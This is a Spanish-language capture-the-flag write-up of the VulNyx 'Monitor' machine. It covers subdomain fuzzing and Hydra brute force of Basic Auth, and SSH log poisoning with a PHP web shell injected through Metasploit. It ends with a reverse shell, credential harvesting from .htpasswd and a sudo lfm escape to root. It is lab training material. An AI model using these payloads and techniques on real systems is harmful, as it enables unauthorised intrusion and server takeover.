Monitor es una máquina Linux de dificultad difícil de la plataforma VulNyx, creada por d4t4s3c y funciona correctamente en VirtualBox.
Skills:
- IPv6
- Subdomains Enumeration
- Brute Force (Basic Auth)
- Log Poisoning (LFI to RCE)
- Privilege Escalation (lfm)
Nmap
❯ nmap -n -Pn -sS -p- --min-rate="5000" 192.168.1.28
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-30 15:59 CET
Nmap scan report for 192.168.1.28
Host is up (0.000094s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
❯ nmap -n -Pn -sVC -p80 192.168.1.28
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-30 16:00 CET
Nmap scan report for 192.168.1.28
Host is up (0.00034s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.56 (Debian)
80 http Apache httpd 2.4.56 ((Debian))
Port: 80 (HTTP)
realizo fuzzing en busca de posibles rutas/archivos sin éxito…
revisando el código encontré un correo electrónico y el dominio monitoring.nyx
que agrego a mi /etc/hosts
accediendo desde el dominio monitoring.nyx
se muestra lo mismo
Subdomains Enumeration
obtengo con gobuster
el subdominio event.monitoring.nyx
que agrego nuevamente a mi /etc/hosts
❯ gobuster vhost -w /opt/subdomains-top1million-110000.txt -u 'http://monitoring.nyx' --append-domain
Found: event.monitoring.nyx Status: 403 [Size: 285]
al acceder desde event.monitoring.nyx
da un código 403 Forbidden
realizo fuzzing en busca de posibles rutas/archivos sin éxito…
❯ wfuzz -c --hc=404,403 -w /opt/common.txt -u 'http://event.monitoring.nyx/FUZZ'
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://event.monitoring.nyx/FUZZ
Total requests: 4614
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
Total time: 0
Processed Requests: 4614
Filtered Requests: 4614
Requests/sec.: 0
realizo fuzzing de nuevo pero ahora agregando el .
por si existen posibles rutas/archivos que puedan ser ocultos y obtengo la ruta /.admin
❯ wfuzz -c --hc=404,403 -w /opt/common.txt -u 'http://event.monitoring.nyx/.FUZZ'
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://event.monitoring.nyx/.FUZZ
Total requests: 4614
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000285: 401 14 L 54 W 467 Ch "admin"
Total time: 4.243458
Processed Requests: 4614
Filtered Requests: 4613
Requests/sec.: 1087.320
al acceder a /.admin
me aparece un Basic Auth
Brute Force (Basic Auth)
la ruta se llama /.admin
así que deduzco que el usuario puede ser admin
❯ hydra -l admin -P /opt/techyou.txt http-get://event.monitoring.nyx/.admin -F -I
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-12-30 16:31:43
[DATA] max 16 tasks per 1 server, overall 16 tasks, 10002 login tries (l:1/p:10002)
[DATA] attacking http-get://event.monitoring.nyx:80/.admin
[80][http-get] host: event.monitoring.nyx login: admin password: system
[STATUS] attack finished for event.monitoring.nyx (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-12-30 16:31:59
admin:system
accedo con las credenciales obtenidas, pero no encuentro nada de interés
realizo fuzzing de nuevo arrastrando la autenticación…
❯ wfuzz -c -w /opt/common.txt --basic 'admin:system' -u 'http://event.monitoring.nyx/.admin/FUZZ.php' --hh=282
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://event.monitoring.nyx/.admin/FUZZ.php
Total requests: 4614
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000001509: 200 11 L 14 W 133 Ch "event"
encuentro el archivo event.php
y al acceder se muestra lo siguiente:
IPv6
obtengo la IPv6
de la máquina objetivo
❯ ping6 -c2 -n -I eth0 ff02::1 |grep "fe80" |awk '{print $4}'
fe80::a00:27ff:fe51:75b0%eth0:
fe80::a00:27ff:fe51:75b0%eth0:
con nmap
busco puertos abiertos por IPv6
y encuentro el nuevo puerto abierto: 22 OpenSSH
que por IPv4
no estaba abierto en el nmap
inicial
❯ nmap -6 -sS -p- fe80::a00:27ff:fe51:75b0%eth0:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-12 19:19 CEST
Nmap scan report for fe80::a00:27ff:fe51:75b0
Host is up (0.000097s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
❯ nmap -6 -sVC -p22,80 fe80::a00:27ff:fe51:75b0%eth0:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-12 19:19 CEST
Nmap scan report for fe80::a00:27ff:fe51:75b0
Host is up (0.00038s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.56 ((Debian))
MAC Address: 08:00:27:51:75:B0 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| address-info:
| IPv6 EUI-64:
| MAC address:
| address: 08:00:27:51:75:b0
|_ manuf: Oracle VirtualBox virtual NIC
al intentar acceder por SSH
a modo de prueba, veo que se generan eventos que posteriormente se muestran en la página web que visite anteriormente
Log Posoning
intento envenenar el log
inyectando código PHP sin éxito
❯ ssh -6 '<?php system($_GET["cmd"]); ?>'@fe80::a00:27ff:fe51:75b0%eth0:
remote username contains invalid characters
error: remote username contains invalid characters
investigando un poco doy con el siguiente issue:
en la ultima actualización del cliente ssh
(openssh-client
), han implementado una medida de seguridad, la cual no nos permite inyectar código malicioso en el campo username
al no poder utilizar el cliente ssh
se me ocurrió hacerlo con Metasploit
❯ msfconsole -q
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > set USERNAME '<?php system($_GET["cmd"]); ?>'
msf6 auxiliary(scanner/ssh/ssh_login) > set PASSWORD blabla
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOST fe80::a00:27ff:fe51:75b0
msf6 auxiliary(scanner/ssh/ssh_login) > exploit
[*] fe80::a00:27ff:fe51:75b0::22 - Starting bruteforce
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
consigo ejecutar comandos como usuario www-data
ya ejecutando comandos intento obtener una reverse shell
obtengo la shell como usuario www-data
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.53] from (UNKNOWN) [192.168.1.28] 53732
id;hostname
uid=33(www-data) gid=33(www-data) groups=33(www-data)
monitor
User Pivoting (www-data > kevin)
enumero al usuario kevin
revisando el archivo /etc/passwd
www-data@monitor:/$ grep "sh$" /etc/passwd
root:x:0:0:root:/root:/bin/bash
kevin:x:1000:1000:kevin:/home/kevin:/bin/bash
busco con grep
de forma recursiva archivos que contengan en el interior la cadena kevin
en varios directorios, hasta encontrar que en /etc/apache2/.htpasswd
existen credenciales del usuario kevin
www-data@monitor:/$ grep -r --color "kevin" /etc 2>/dev/null
/etc/apache2/.htpasswd:#kevin:$up3r_$3cUr3_@p@CHe
kevin:$up3r_$3cUr3_@p@CHe
me convierto en usuario kevin
con las credenciales obtenidas
www-data@monitor:/$ su - kevin
Password:
kevin@monitor:~$ id
uid=1000(kevin) gid=1000(kevin) grupos=1000(kevin)
Privilege Escalation
kevin
puede ejecutar como root
el binario lfm
con sudo
kevin@monitor:~$ sudo -l
Matching Defaults entries for kevin on monitor:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User kevin may run the following commands on monitor:
(root) NOPASSWD: /usr/bin/lfm
ejecuto lfm
para ver el funcionamiento del binario
kevin@monitor:~$ sudo -u root /usr/bin/lfm
al presionar la tecla H
me aparece un menu de ayuda
y al presionar la tecla K
aparece el típico modo paginate de un editor que al escribir !
permite ejecutar comandos
me convierto en usuario root
abusando del privilegio
# bash -i
root@monitor:/home/kevin# id
uid=0(root) gid=0(root) grupos=0(root)
ya como usuario root
puedo leer las flags user.txt
y root.txt
root@monitor:~# find / -name user.txt -o -name root.txt |xargs cat
2b56bb**************************
9951f9**************************
hasta aquí la máquina Monitor.
Happy Hacking!